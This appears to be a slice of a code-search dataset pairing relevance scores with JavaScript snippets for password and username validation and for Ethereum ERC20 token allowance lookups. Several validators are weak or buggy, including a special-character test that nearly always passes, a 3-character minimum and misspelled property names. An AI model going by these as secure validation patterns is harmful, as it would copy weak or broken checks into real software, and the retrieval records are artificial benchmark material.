hasAnyLetter = (stringToTest) => {\n return !(/[a-z]+/ig).test(stringToTest)\n };\n const hasAnyNumber = (stringToTest) => {\n return !(/[\\d]+/.test(stringToTest));\n };\n const hasAnySpecial = (stringToTest) => {\n return !(/[!@#$%^&*()/\\\\}\\[\\].{,'\";:|=+_\\-?><~`]+/).test(stringToTest);\n };\n\n if (password.length < 8) {\n createBubble ('Password must be at least 8 letters long');\n return false;\n } else if (hasAnyLetter(password)) {\n createBubble ('Password must contain at least 1 letter');\n return false;\n } else if (hasAnyNumber(password)) {\n createBubble ('Password must contain at least 1 digit');\n return false;\n } else if (hasAnySpecial(password)) {\n createBubble ('Password must contain at least 1 special sign');\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "ada69479142f1ff52d5323db7b617d91", "score": "0.68523973", "text": "function isValidUsername(username) {\n\n if (username.length > 24) return false;\n\n for (let char of username) {\n if (!isValidUsernameChar(char)) return false;\n }\n\n return true;\n\n}", "title": "" }, { "docid": "196369a139ad0e1610c45fa4f336bc07", "score": "0.6842796", "text": "function isValidPassword(passwopd) {\n return /^(?=.*[A-Z])(?=.*[0-9])(?=.*[a-z]).{8,}$/g.test(passwopd);\n}", "title": "" }, { "docid": "ac056f9f3d2e97be76f312776fbe3023", "score": "0.6841398", "text": "function validatePassword(inputOne, inputTwo, userName) {\n\tconst passwordFormat = /^(?=.*\\d)(?=.*[!#$%&? \"])(?=.*[a-zA-Z])[a-zA-Z0-9]{8,20}$/;\n\tif (inputOne.value != '' && inputOne.value == inputTwo.value) {\n\t\tif (inputOne.value == userName.value) {\n\t\t\tinputOne.style.border = 'thick solid red';\n\t\t\tinputTwo.style.border = 'thick solid red';\n\t\t\treturn false;\n\t\t}\n\t\tif (!passwordFormat.test(inputOne)) {\n\t\t\tinputOne.style.border = 'thick solid red';\n\t\t\tinputTwo.style.border = 'thick solid red';\n\t\t\treturn false;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5184d38e2678f01bd577fd9342fe4f5f", "score": "0.6838784", "text": "static validPassword(password) {\n\t\tif (password.length < 5) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "fd4050cf05088180a0948a218fee6849", "score": "0.68382263", "text": "function isSignUpUserValid(userName){\r\n\tuserName = $.trim(userName); \r\n\tvar nameReg = /^[\\w\\.]{4,32}$/;\r\n\treturn nameReg.test(userName);\r\n}", "title": "" }, { "docid": "e660cede1d34acb33b7b0540068774c8", "score": "0.68339556", "text": "function validatePassword(password,confirmPassword,userid){\r\n\r\n\tvar lengthCheckPattern =/^.{8,16}$/;\r\n\t\t\r\n\tvar errors = new Array();\r\n\t\r\n\r\n\t\t\r\n\tif (isEmpty(password) || password.match(lengthCheckPattern) == null){\r\n\t\t\r\n\t\terrors.push(\"LENGTH_ERROR\");\r\n\t}\r\n\t\r\n\tvar upperCaseCheckPattern =/[A-Z]+/;\r\n\t\r\n\tif (isEmpty(password) || password.match(upperCaseCheckPattern) == null){\r\n\t\r\n\t\terrors.push(\"NO_UPPER_CASE_CHAR_ERROR\");\r\n\t}\r\n\t\r\n\tvar lowerCaseCheckPattern = /[a-z]+/;\r\n\t\r\n\tif (isEmpty(password) || password.match(lowerCaseCheckPattern) == null){\r\n\t\t\r\n\t\terrors.push(\"NO_LOWER_CASE_CHAR_ERROR\");\r\n\t}\r\n\t\r\n\tvar digitCheckPattern = /[0-9]+/;\r\n\t\t\r\n\tif (isEmpty(password) || password.match(digitCheckPattern) == null){\r\n\t\t\t\r\n\t\t\terrors.push(\"NO_DIGIT_ERROR\");\r\n\t}\r\n\t\r\n\tvar spacePattern = /\\s+/;\r\n\t\r\n\tif (!isEmpty(password) && password.match(spacePattern)){\r\n\t\r\n\t\terrors.push(\"SPACE_PRESENT\");\r\n\t\r\n\t}\r\n\t\r\n\tvar validateCharPattern = /[^\\w\\s-_'.\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u00ff]+/;\r\n\t\r\n\t\r\n\tif (!isEmpty(password) && password.match(validateCharPattern)){\r\n\t\r\n\t\terrors.push(\"INVALID_CHARS\");\r\n\t}\r\n\t\r\n\tvar accentedCharPattern = /[\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u00ff]+/;\r\n\t\r\n\tif (!isEmpty(password) && password.match(accentedCharPattern)){\r\n\t\r\n\t\terrors.push(\"ACCENTED_CHARS_PRESENT\");\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tif (isEmpty(password) || password != confirmPassword){\r\n\t\r\n\t\terrors.push(\"PASSWORDS_NOT_MATCH_ERROR\");\r\n\t\r\n\t}\r\n\t\r\n\tif ((!isEmpty(password) && !isEmpty(userid)) && similar(userid,password)){\r\n\t\r\n\t\terrors.push(\"PASSWORD_USERID_SIMILAR_ERROR\");\r\n\t}\r\n\t\r\n\tvar fourOrMoreCharPattern =/([\\w.\\-']{1})\\1{4,}/;\r\n\t\r\n\tif (!isEmpty(password) && password.match(fourOrMoreCharPattern)){\r\n\t\r\n\t\terrors.push(\"FOUR_OR_MORE_CONSEUTIVE_ERROR\");\r\n\t}\r\n\t\r\n\tif ((!isEmpty(password) && !isEmpty(userid)) && passwordMatchFourChars(userid,password)){\r\n\t\r\n\t\terrors.push(\"MATCH_FOUR_CHARS_ERROR\");\r\n\t}\r\n\r\n\t\r\n\treturn errors;\r\n\t\r\n\r\n\r\n}", "title": "" }, { "docid": "60581e7cbaabe926787282c2a11e0860", "score": "0.6832835", "text": "function is_password_valid(password){\n\n // first checking for null input\n if(password == \"\"){\n\n alert(\"Please provide your password!\");\n return false;\n }else{\n\n // checking for 8 characters password\n if(password.length >= 8){\n\n // checking if the password contains a special character or not\n if(password.search(\"@\") || password.search(\"#\") || password.search(\"$\") || password.search(\"%\")){\n\n return true;\n }else {\n\n alert(\"Password must contain atleas 1 special characters.\");\n return false;\n }\n }else{\n\n alert(\"Password should be atleast 8 characters.\");\n return false;\n }\n }\n}", "title": "" }, { "docid": "bb5614531650f15d5b4f0cd2f920810e", "score": "0.68290436", "text": "function checkPassword(){\n var passVal = $('#password').val();\n var repassVal = $('#repass').val();\n\n if (passVal.length < 6){\n return 'Password must be at least six characters long';\n\n } else if (passVal !== repassVal){\n return 'Password fields do not match';\n }\n}", "title": "" }, { "docid": "e3bb80fc06753c590a1afa8bafab90bc", "score": "0.6826187", "text": "function checkRequirements() {\n if (firstPassword.length < 16) {\n firstInputIssuesTracker.add(\"fewer than 16 characters\");\n } else if (firstPassword.length > 100) {\n firstInputIssuesTracker.add(\"greater than 100 characters\");\n }\n\n if (!firstPassword.match(/[\\!\\@\\#\\$\\%\\^\\&\\*]/g)) {\n firstInputIssuesTracker.add(\"missing a symbol (!, @, #, $, %, ^, &, *)\");\n }\n\n if (!firstPassword.match(/\\d/g)) {\n firstInputIssuesTracker.add(\"missing a number\");\n }\n\n if (!firstPassword.match(/[a-z]/g)) {\n firstInputIssuesTracker.add(\"missing a lowercase letter\");\n }\n\n if (!firstPassword.match(/[A-Z]/g)) {\n firstInputIssuesTracker.add(\"missing an uppercase letter\");\n }\n\n var illegalCharacterGroup = firstPassword.match(/[^A-z0-9\\!\\@\\#\\$\\%\\^\\&\\*]/g)\n if (illegalCharacterGroup) {\n illegalCharacterGroup.forEach(function (illegalChar) {\n firstInputIssuesTracker.add(\"includes illegal character: \" + illegalChar);\n });\n }\n }", "title": "" }, { "docid": "ce3b8dbdd44b40998f2d0ea86c8e6d79", "score": "0.6825239", "text": "function isPassCase(str) {\n var upLow = str != str.toLowerCase() && str != str.toUpperCase();\n if (upLow) {\n return { valid: true};\n } else {\n return {\n valid: false,\n reason: \"Password must contain at least one upper case and one lower case character.\"\n };\n };\n }", "title": "" }, { "docid": "1562558b76568138f72ea4e6b391708c", "score": "0.6821843", "text": "function fnCheckPasswordLength(sFieldValue1)\n{\n\tif (fnTrim(sFieldValue1.value).length<6){\n\t\treturn true;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "ea72c81a918f780165da1c1f2bfb0a49", "score": "0.6813878", "text": "function checkUser(str) {\n var code, i, len;\n\n code = str.charCodeAt(0);\n if (!(code > 64 && code < 91) && !(code > 96 && code < 123)) {\n return false;\n }\n\n for (i = 1, len = str.length; i < len; i++) {\n code = str.charCodeAt(i);\n if (!(code > 47 && code < 58) &&\n !(code > 64 && code < 91) &&\n !(code > 96 && code < 123)) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "3817540b0c22b38a735fcf7ed39c717d", "score": "0.6807419", "text": "function isValidPassword(field){\n\tstring = field.value\n if (!string) return false;\n\tvar bValid =new Boolean(true);\n\t\n\tif(string.length >15 || string.length <6) bValid=false;;\n var Chars = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\tfor (var i = 0; i < string.length; i++) {\n if (Chars.indexOf(string.charAt(i)) == -1)\n {\n\t\t bValid=false; \n\t\t}\n }\n\t if(!bValid)\n\t{\n\t\tvar msg='Not a valid '\n\t\tvar long=\"\";\n\t\tif(field.name=='password')\n\t\t\tlong=\"Password.\";\n\t\tif(field.name=='confirmPassword')\n\t\t\tlong=\"Re-type Password.\";\n\t\talert(msg + long);\n\t\t field.select();\n\t\t field.focus();\n\t}\n return bValid;\n}", "title": "" }, { "docid": "348be41c5964da9c0b111cb5d2ad617a", "score": "0.6805291", "text": "function checkPassword(input) {\n\treturn new RegExp(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)[a-zA-Z\\d]{8,}$/).test(input);\n}", "title": "" }, { "docid": "34b931d072600967d31213bf88d0c997", "score": "0.6803456", "text": "function checkLength() {\n if(passwordLength < 8 || passwordLength > 128){\n alert(\"Password must be at least 8 characters and no more than 128 characters\");\n }\n return passwordLength >= 8 && passwordLength <= 128;\n}", "title": "" }, { "docid": "13f10ce0c59bef5584d09aa6c2a56036", "score": "0.67986387", "text": "function validatePassword(password){\n\tif ($.trim(password).length < 3){\n\t\treturn false\n\t}\n\telse{\n\t\treturn true\n\t}\n}", "title": "" }, { "docid": "0b619f981a97ee947e98051fd7e0a43a", "score": "0.67894244", "text": "function checkUsername(string) {\n if (string.match(/^[0-9a-zA-Z]+$/)) {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "8ac4fb44479d1b55065b605eb2895988", "score": "0.67887354", "text": "function checkPasswordLength() {\n\tvar pswd=document.getElementById(\"password\").value;\n\tif(pswd.length<10)\n\t{\n\t\talert(\"Password should be atleast 10 characters long\");\n\t\treturn false;\n\t}\n\tif(pswd.length>15)\n\t{\n\t\talert(\"Password should not exceed 15 characters\");\n\t\treturn false;\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "c11c5ca9fd4a609d13dfa90481a8b8c1", "score": "0.67809385", "text": "function checkPass() {\n checkPassRepeat();\n if (getPass().length > 0) {\n if ((getPass()[0] >= \"a\" && getPass()[0] <= \"z\") || (getPass()[0] >= \"A\" && getPass()[0] <= \"Z\"))/*if the first char letter and not num*/ {\n if (isLetterOrNum(getPass())) {\n if (getPass().length >= 6)/*password at least 6 chars*/ {\n document.register.uPass.style.borderColor = \"green\";\n document.getElementById(\"errPass\").style.display = \"none\";\n return true;\n } else {\n document.register.uPass.style.borderColor = \"red\";\n document.getElementById(\"errPass\").innerHTML = \"Password have to be at least 6 chars. Left: \" + (6 - getPass().length);\n document.getElementById(\"errPass\").style.display = \"block\";\n return false;\n }\n } else {\n document.register.uPass.style.borderColor = \"red\";\n document.getElementById(\"errPass\").innerHTML = \"Only letters or nums\";\n document.getElementById(\"errPass\").style.display = \"block\";\n return false;\n }\n } else {\n document.register.uPass.style.borderColor = \"red\";\n document.getElementById(\"errPass\").innerHTML = \"First char have to be letter\";\n document.getElementById(\"errPass\").style.display = \"block\";\n return false;\n }\n } else {\n document.register.uPass.style.borderColor = \"grey\";\n document.getElementById(\"errPass\").style.display = \"none\";\n return false;\n }\n}", "title": "" }, { "docid": "66df87bd167c3122571617640a1aa64a", "score": "0.6780332", "text": "function securePw() {\r\n\tvar password = $(\"#pw\").val();\r\n\tvar upperFlag = false;\r\n\tvar lowerFlag = false;\r\n\tvar intFlag = false;\r\n\r\nif(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d).+$/.test(password))\r\n{\r\n\treturn \"\";\r\n}\r\n\treturn \"Error: Password must contain at least one of the following: lower case letter, uppercase letter, and number\";\r\n}", "title": "" }, { "docid": "f83813660df2f023c9ea62fdf0d1d216", "score": "0.67775327", "text": "function isValidPassWord (passWord) {\n if (passWord.length < 8 || passWord.length > 50) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "80ea84f905b35726fdbc9f2c7dd3c326", "score": "0.67657816", "text": "function validateInputLogin($userName,$pass)\n{\n if($userName !== '' && $userName !== undefined && $pass !== '' && $pass !== undefined)\n {\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "2ed33cf17d60141a4fe023a4dfae0ca3", "score": "0.6757126", "text": "function isPassCase(str) {\n var upLow = str != str.toLowerCase() && str != str.toUpperCase();\n if (upLow) {\n return { valid: true};\n } else {\n return {\n valid: false,\n reason: \"Password must contain at least one upper case and one lower case character.\"\n };\n };\n}", "title": "" }, { "docid": "8f277a79db6381e1a53247c69e3e2b2e", "score": "0.6756671", "text": "function validateForm(userName, password, password2) {\n var validForm = true;\n var alphanumeric = /^[a-zA-Z0-9]+$/\n if (password !== password2) {\n validForm = false;\n alertMessage('Password does not match');\n }\n else if (!userName.match(alphanumeric)) {\n validForm = false;\n alertMessage('Username can only be alphanumeric');\n } else if (userName.lenght === 0) {\n validForm = false;\n\n } else if (password.lenght === 0) {\n validForm = false;\n\n }\n\n return validForm;\n}", "title": "" }, { "docid": "cf5351e8bd6d4caac563fe8162b1a97b", "score": "0.6755297", "text": "validPassword() {\n\n var verify = 0;\n\n // at least one number\n if (/\\d/.test(this.value5)) {\n\n this.passwordError = this.passwordError.replace(\"Please include at least one number.\",\"\");\n verify++;\n\n }\n\n else {\n\n if (!this.passwordError.includes(\"Please include at least one number.\")) {\n\n this.passwordError += \" \\n Please include at least one number.\";\n\n }\n\n }\n\n // at least one capital letter\n if (/(.*[A-Z].*)/.test(this.value5)) {\n\n this.passwordError = this.passwordError.replace(\"Please include at least one capital letter.\",\"\");\n verify++;\n\n }\n\n else {\n\n if (!this.passwordError.includes(\"Please include at least one capital letter.\")) {\n\n this.passwordError += \" \\n Please include at least one capital letter.\";\n\n }\n\n }\n \n // at least one lowercase later\n if (/(.*[a-z].*)/.test(this.value5)) {\n \n this.passwordError = this.passwordError.replace(\"Please include at least one lowercase letter.\", \"\");\n verify++;\n\n }\n\n else {\n\n if (!this.passwordError.includes(\"Please include at least one lowercase letter.\")) {\n\n this.passwordError += \"\\n Please include at least one lowercase letter.\";\n\n }\n\n }\n\n // at least 5 digits\n if (this.value5.length >= 6) {\n \n this.passwordError = this.passwordError.replace(\"Please include at least 5 digits.\");\n verify++;\n\n }\n\n else {\n \n if (!this.passwordError.includes(\"Please include at least 5 digits.\")) {\n\n this.passwordError += \"\\n Please include at least 5 digits.\";\n\n }\n\n }\n\n // at least one special character\n if (/[^A-Za-z0-9]/.test(this.value5)) {\n\n this.passwordError = this.passwordError.replace(\"Please include at least one special character.\");\n verify++;\n\n }\n\n else {\n\n if (!this.passwordError.includes(\"Please include at least one special character.\")) {\n\n this.passwordError += \"\\n Please include at least one special character.\";\n\n }\n\n }\n\n return (verify >4);\n\n }", "title": "" }, { "docid": "38134097d956fecca3bf4d193343af4e", "score": "0.67546064", "text": "function checkRequirements() {\n \t// if password length is less than 16\n if (firstPassword.length < 16) {\n\n // add the following message to his objects issues array\n firstInputIssuesTracker.add(\"fewer than 16 characters\");\n } \n // if password length is over 100\n else if (firstPassword.length > 100) {\n firstInputIssuesTracker.add(\"greater than 100 characters\");\n }\n // if password value does not (or !) match one symbol\n if (!firstPassword.match(/[\\!\\@\\#\\$\\%\\^\\&\\*]/g)) {\n firstInputIssuesTracker.add(\"missing a symbol (!, @, #, $, %, ^, &, *)\");\n }\n // if password does not have a number\n if (!firstPassword.match(/\\d/g)) {\n firstInputIssuesTracker.add(\"missing a number\");\n }\n // if password does not have a lowercase later\n if (!firstPassword.match(/[a-z]/g)) {\n firstInputIssuesTracker.add(\"missing a lowercase letter\");\n }\n // if password does not have an uppercase letter\n if (!firstPassword.match(/[A-Z]/g)) {\n firstInputIssuesTracker.add(\"missing an uppercase letter\");\n }\n // if password does not have alphanumerical characters, numbers, or the allowed symbols\n var illegalCharacterGroup = firstPassword.match(/[^A-z0-9\\!\\@\\#\\$\\%\\^\\&\\*]/g)\n\n if (illegalCharacterGroup) {\n // adds a function for each found illegal character, and adds it to the issues array, which then returns an issue message for each illegal charcater\n illegalCharacterGroup.forEach(function (illegalChar) {\n firstInputIssuesTracker.add(\"includes illegal character: \" + illegalChar);\n });\n }\n }", "title": "" }, { "docid": "ddd8a3a3a80709269c88467db46fe38d", "score": "0.6747123", "text": "function isUserLength(string) {\n if (string.length >= 6) {\n return { valid: true};\n } else {\n return {\n valid: false,\n reason: \"User Id is not at least 6 characters.\"\n };\n };\n }", "title": "" } ]
ab1d1da758f5f3c03d0a37716f6d7f55
get ERC20 token allowance
[ { "docid": "6b371f0930f48111a9b4b2bbf638eb14", "score": "0.7130881", "text": "async getERC20Allowance (wallet, spender, tokenAddress, decimals = 18) {\n // instantiate a contract and pass in provider for read-only access\n const contract = new ethers.Contract(tokenAddress, abi.ERC20Abi, this.provider)\n try {\n const allowance = await contract.allowance(wallet.address, spender)\n return allowance / Math.pow(10, decimals).toString()\n } catch (err) {\n logger.error(err)\n let reason\n err.reason ? reason = err.reason : reason = 'error allowance lookup'\n return reason\n }\n }", "title": "" } ]
[ { "docid": "1fa5eb4a4160d38dfae88f52e7174ae3", "score": "0.70072037", "text": "async getAllowanceOfUnderlyingToken(cTokenAddress) {\n //Check if we are dealing with cETH\n if (cTokenAddress === \"0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5\") {\n return Number.MAX_SAFE_INTEGER;\n }\n\n const cToken = cTokens.find(cToken => cToken.address === cTokenAddress);\n const contract = new web3.eth.Contract(ERC20.abi, cToken.underlyingAddress);\n\n try {\n const allowance = await contract.methods.allowance(\"0x5cf30c7fe084be043570b6d4f81dd7132ab3b036\", cTokenAddress).call();\n console.log(\"Account has allowance of \" + allowance + \" \" + cToken.name.substring(1));\n\n return allowance;\n } catch (error) {\n console.error(error);\n }\n }", "title": "" }, { "docid": "92409c6387ddb7a6b8252c6a9150b267", "score": "0.60695493", "text": "getWalletTokenAllowance(adr1, adr2, token) {\n const tokenCtr = this.getTokenInstance(token);\n\n return new Promise(async (resolve) => {\n try {\n tokenCtr.methods.allowance(adr1, adr2).call((error, result) => {\n if (error) {\n console.error(\"error loading allowance \"+adr);\n console.error(error);\n return resolve(false);\n }\n\n let bal = this.web3.utils.fromWei(result, 'Ether');\n resolve(bal);\n });\n }\n catch (e) {\n console.error(\"error on retrieving allowance for \"+adr);\n console.error(e);\n resolve(false)\n }\n });\n }", "title": "" }, { "docid": "d5d1ffa65a4b6f671908666e32ca0ad4", "score": "0.5877226", "text": "async approveERC20 (wallet, spender, tokenAddress, amount, gasPrice = this.gasPrice, gasLimit) {\n try {\n // fixate gas limit to prevent overwriting\n const approvalGasLimit = APPROVAL_GAS_LIMIT\n // instantiate a contract and pass in wallet, which act on behalf of that signer\n const contract = new ethers.Contract(tokenAddress, abi.ERC20Abi, wallet)\n return await contract.approve(\n spender,\n amount, {\n gasPrice: gasPrice * 1e9,\n gasLimit: approvalGasLimit\n }\n )\n } catch (err) {\n logger.error(err)\n let reason\n err.reason ? reason = err.reason : reason = 'error approval'\n return reason\n }\n }", "title": "" }, { "docid": "b6c87132c43d7edd9bd08d9378bad124", "score": "0.586178", "text": "getToken() {}", "title": "" }, { "docid": "5a826ce40a35718a5e8c032cc2cea200", "score": "0.5708986", "text": "async getERC20TokenList () {\n let tokenListSource\n try {\n if (this.network === 'kovan') {\n tokenListSource = 'src/static/erc20_tokens_kovan.json'\n this.erc20TokenList = JSON.parse(fs.readFileSync(tokenListSource))\n } else if (this.network === 'mainnet') {\n tokenListSource = this.erc20TokenListURL\n if (tokenListSource === undefined || tokenListSource === null) {\n const errMessage = 'Token List source not found'\n logger.error('ERC20 Token List Error', { message: errMessage})\n }\n if (this.erc20TokenList === undefined || this.erc20TokenList === null || this.erc20TokenList === {}) {\n if (this.erc20TokenListURL.includes(\",\")) {\n var tokenSources = this.erc20TokenListURL.split(\",\")\n } else {\n var tokenSources = [this.erc20TokenListURL]\n }\n for (const tokenListSource of tokenSources) {\n const response = await axios.get(tokenListSource)\n if (response.status === 200 && response.data) {\n if (this.erc20TokenList === undefined || this.erc20TokenList === null) {\n this.erc20TokenList = response.data\n } else {\n this.erc20TokenList.tokens = this.erc20TokenList.tokens.concat(response.data.tokens)\n }\n }\n }\n let set = new Set(this.erc20TokenList.tokens)\n this.erc20TokenList.tokens = [...set]\n }\n } else {\n throw Error(`Invalid network ${this.network}`)\n }\n logger.debug('get ERC20 Token List', this.network, 'source', tokenListSource)\n } catch (err) {\n logger.error(err)\n let reason\n err.reason ? reason = err.reason : reason = 'error ERC 20 Token List'\n return reason\n }\n }", "title": "" }, { "docid": "6a744940ca032d2cd51488a3ef2121cc", "score": "0.566626", "text": "getToken () {\n\n }", "title": "" }, { "docid": "9d06c7bab14c58b7f8359f63e71e339f", "score": "0.5553574", "text": "function GetAuthorizationToken() {\r\n var dtools = JSON.parse(localStorage.getItem('dtoolb2c'));\r\n if (dtools != null && dtools != undefined && dtools.adB2CSignIn != null && dtools.adB2CSignIn != undefined && dtools.adB2CSignIn.access_token != \"\") {\r\n return dtools.adB2CSignIn.token_type + ' ' + dtools.adB2CSignIn.access_token\r\n }\r\n}", "title": "" }, { "docid": "6500b71d89d3ef9199f5098cae0468df", "score": "0.5479261", "text": "function getToken() {\n return token;\n}", "title": "" }, { "docid": "f51dc39ded002b8027094ff3858dd3e9", "score": "0.5462394", "text": "function get_token_symbol(token_address) {\n // If Ether, return ETH address\n if (token_address === etherium_addr) {\n return \"ETH\";\n }\n\n // Search tokens for addr to see if token address is already supported in FD config\n let addr_index = token_addresses.indexOf(token_address);\n if (addr_index !== -1) {\n return token_names[addr_index];\n }\n\n // If not supported, lookup symbol with web3 call\n try {\n let token_contract = generic_contract.at(token_address);\n return token_contract.symbol().toString();\n } catch (err) {\n console.log(\"Error in migrate.js with function get_token_symbol\");\n alert(\"Error fetching token name. Is the token ERC20 compliant?\");\n console.log(err);\n return \"Name Error\";\n }\n\n}", "title": "" }, { "docid": "610149e7d808664f8e383e792635de60", "score": "0.5440184", "text": "async function ensure_token_allowance() {\n var default_account = (await web3provider.eth.getAccounts())[0];\n if (parseInt(await swap_token.methods.allowance(default_account, swap_address).call()) == 0)\n return new Promise(resolve => {\n swap_token.methods.approve(swap_address, cBN(max_allowance).toFixed(0,1))\n .send({from: default_account, gas: 100000})\n .once('transactionHash', function(hash) {resolve(true);});\n })\n else\n return false;\n}", "title": "" }, { "docid": "7cd10e324224e30dc06e18980ba4f49e", "score": "0.54335886", "text": "function getToken() {\n\treturn token;\t\n}", "title": "" }, { "docid": "bb3a180d6a3eb60e7becd673473a28bf", "score": "0.53998274", "text": "static async getClientToken() {\n const response = await super.getText(`${PATH}/clienttoken`);\n return (response);\n }", "title": "" }, { "docid": "33c599096af1939769de7716667e160f", "score": "0.53872037", "text": "function z(e,t){return Object(D.isToken)(t)?q(e,{responseType:e.options.pkce?\"code\":Object(D.isAccessToken)(t)?\"token\":\"id_token\",scopes:t.scopes,authorizeUrl:t.authorizeUrl,userinfoUrl:t.userinfoUrl,issuer:t.issuer}).then((function(e){var n=e.tokens;return Object(D.isIDToken)(t)?n.idToken:n.accessToken})):Promise.reject(new o.c(\"Renew must be passed a token with an array of scopes and an accessToken or idToken\"))}", "title": "" }, { "docid": "b522fe0658f487d6885fef088a838664", "score": "0.53871346", "text": "function getToken() {\n return document.getElementsByName('_xsrf_token')[0].getAttribute('value');\n}", "title": "" }, { "docid": "743c8c82e781ca5d6476ad322fb9b93d", "score": "0.5378055", "text": "get2LeggedToken () {\n\n return new Promise(async(resolve, reject) => {\n\n try {\n\n var token = this._2LeggedToken\n\n if (!token) {\n\n token = await this.request2LeggedToken(\n this._config.oauth.scope)\n\n this.set2LeggedToken(token)\n }\n\n if (this.getExpiry(token) < 60) {\n\n token = await this.request2LeggedToken(\n this._config.oauth.scope)\n\n this.set2LeggedToken(token)\n }\n\n resolve(token)\n\n } catch (ex){\n\n reject(ex)\n }\n })\n }", "title": "" }, { "docid": "ccfba673fdefe65379cfa9a985e34f5e", "score": "0.5370555", "text": "function getTokenGuard() {\n\tvar token = \"\";\n\tvar tokens = document.getElementsByName('tokenGuard');\n\tif (tokens != null && tokens.length) {\n\t\ttoken = '&tokenGuard=' + tokens[0].value;\n\t}\n\treturn token;\n}", "title": "" }, { "docid": "2cef22128c755daa85ce10af3e4e16c1", "score": "0.53624177", "text": "allowanceToken() {\n var that = this;\n let amount = that.state.tokenAmountAllowance;\n let receiver = that.state.exchangeAddress;\n that.setState({ tokenState: \"info\", allowanceTokenLoading: true, managementTokenStatus: \"Initiating allowance of token...please wait\" });\n let tokenInstance;\n TokenContract.deployed().then(function (instance) {\n\n tokenInstance = instance;\n return tokenInstance.approve(receiver, amount, { from: that.state.account });\n }).then(function (txResults) {\n that.setState({ tokenAmountAllowance: \"\", tokenAllowanceAmount: that.state.tokenAllowanceAmount += Number(amount), tokenState: \"success\", allowanceTokenLoading: false, managementTokenStatus: `Token allowance accepted. You have allowed ${amount} to be deposited into the exchange. Tx: ${txResults.tx}` });\n\n }).catch(function (e) {\n console.log(e);\n that.setState({ tokenState: \"error\", allowanceTokenLoading: false, managementTokenStatus: \"Token allowance rejected\" });\n })\n }", "title": "" }, { "docid": "c49f8515926888bfb7a0e97f2bc786b6", "score": "0.5356077", "text": "async getERC20Balance (wallet, tokenAddress, decimals = 18) {\n // instantiate a contract and pass in provider for read-only access\n const contract = new ethers.Contract(tokenAddress, abi.ERC20Abi, this.provider)\n try {\n const balance = await contract.balanceOf(wallet.address)\n return balance / Math.pow(10, decimals).toString()\n } catch (err) {\n logger.error(err)\n let reason\n err.reason ? reason = err.reason : reason = 'error balance lookup'\n return reason\n }\n }", "title": "" }, { "docid": "65001af384a289b382778acd968386aa", "score": "0.5353928", "text": "clientToken() { }", "title": "" }, { "docid": "a3707ac904cb6feb0e793bac91de9257", "score": "0.5350631", "text": "function fanx_Token() {}", "title": "" }, { "docid": "44ac638d6064f757d7709b0548987ce8", "score": "0.5317142", "text": "get token() {\n return this._token;\n }", "title": "" }, { "docid": "74075e205002e7bfbe8d830db19052de", "score": "0.5304011", "text": "function erc() {\r\n return new ethers.Contract(\r\n getTokenAddress(),\r\n [{\r\n \"constant\": true,\r\n \"inputs\": [{\"name\": \"_owner\", \"type\": \"address\"}],\r\n \"name\": \"balanceOf\",\r\n \"outputs\": [{\"name\": \"balance\", \"type\": \"uint256\"}],\r\n \"payable\": false,\r\n \"type\": \"function\"\r\n }],\r\n account\r\n );\r\n}", "title": "" }, { "docid": "d2d90364b8e393ebbebf87ea98a5f9a8", "score": "0.5291973", "text": "async function getBearerToken() {\n\n // Step 1: Request a challenge\n var authResponse = await performGraphQLRequest(JSON.stringify({\n \"query\": \" mutation {\\\n authenticationRequest(input: \\\n {authenticator:\\\"\" + clientId + \"\\\", \\\n role: \\\"\" + role + \"\\\", \\\n userName: \\\"\" + userName + \"\\\"})\\\n { jwtRequest { challenge, message } } }\"\n }), instanceGraphQLEndpoint);\n var challenge = authResponse.data.authenticationRequest.jwtRequest.challenge;\n console.log(\"Challenge received: \" + challenge);\n\n // Step 2: Get token\n var challengeResponse = await performGraphQLRequest(JSON.stringify({\n \"query\": \" mutation {\\\n authenticationValidation(input: \\\n {authenticator:\\\"\" + clientId + \"\\\", \\\n signedChallenge: \\\"\" + challenge + \"|\" + clientSecret + \"\\\"})\\\n { jwtClaim } }\"\n }), instanceGraphQLEndpoint);\n\n var newJwtToken = challengeResponse.data.authenticationValidation.jwtClaim;\n return newJwtToken;\n\n //TODO: Handle errors!\n}", "title": "" }, { "docid": "9abd091f1e91c23dc4311eec45c7bd3b", "score": "0.5276684", "text": "token() {\n return {\n _id: this._id,\n role: this.role,\n block_id:this.block_id\n };\n }", "title": "" }, { "docid": "282dd6d4e2ff827cb5476c49154634df", "score": "0.52547264", "text": "getToken() {\n\t \treturn this.token;\n\t }", "title": "" }, { "docid": "0ac305beabded79c7872c0166d2df879", "score": "0.5245037", "text": "function randomToken() {\n return Random.hexString(20);\n }", "title": "" }, { "docid": "ad78645a2c4e19f33a0e3173d1cca033", "score": "0.52334994", "text": "function checkAvailableToken (){\n let linkAuthorisationCode = 'https://sandbox-business.revolut.com/app-confirm?client_id='+client_id+'&redirect_uri=http://'+hostname_server+':'+port_server\n if (JSON.stringify(config_data) === '{}'){\n open (linkAuthorisationCode);\n console.log (`go to this link: ${linkAuthorisationCode}`)\n\n } else if ((config_data.last_authorisation_date + (((60*60)*24)*90)*1000) < Date.now()){ //90 days\n console.info ('a new authorization of access to the api is required')\n console.log (`go to this link: ${linkAuthorisationCode}`)\n open (linkAuthorisationCode);\n\n } else if ((config_data.last_refresh_date + ((60*40)*1000)) < Date.now()) { //40 minutes\n console.info ('the token needs to be refreshed')\n refreshAccessToken ()\n } else {\n listAccounts ()\n }\n}", "title": "" }, { "docid": "2f40e8d1f9143680f7298c80fef796f4", "score": "0.52300555", "text": "get activeToken() {\n return this.unusedTokens[0];\n }", "title": "" }, { "docid": "2ec7b03367e11da99a669dfed0cdf423", "score": "0.5222388", "text": "getToken() 